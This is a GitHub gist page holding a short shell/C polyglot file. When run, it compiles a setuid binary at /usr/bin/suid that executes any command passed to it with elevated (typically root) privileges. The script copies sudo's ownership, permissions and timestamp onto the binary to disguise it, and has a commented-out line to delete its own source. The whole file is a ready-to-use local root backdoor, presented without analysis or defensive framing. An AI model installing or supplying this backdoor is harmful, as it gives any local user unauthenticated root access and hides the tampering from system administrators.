Skip to content

Instantly share code, notes, and snippets.

@yannayl
Created April 27, 2016 12:21
Show Gist options
  • Save yannayl/871234f12df30c272a0cac8b41eea5cf to your computer and use it in GitHub Desktop.
Save yannayl/871234f12df30c272a0cac8b41eea5cf to your computer and use it in GitHub Desktop.
suid source code
#if 0
[[ -n "$TARGET" ]] || TARGET=/usr/bin/suid
gcc -o $TARGET $0 || exit $?
chown --reference /usr/bin/sudo $TARGET
chmod --reference /usr/bin/sudo $TARGET
touch --reference /usr/bin/sudo $TARGET
chmod a+s $TARGET
#$RM $0
exit 0
#endif
#include <unistd.h>
int main(int argc, char **argv) {return execv(argv[1], argv+1);}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment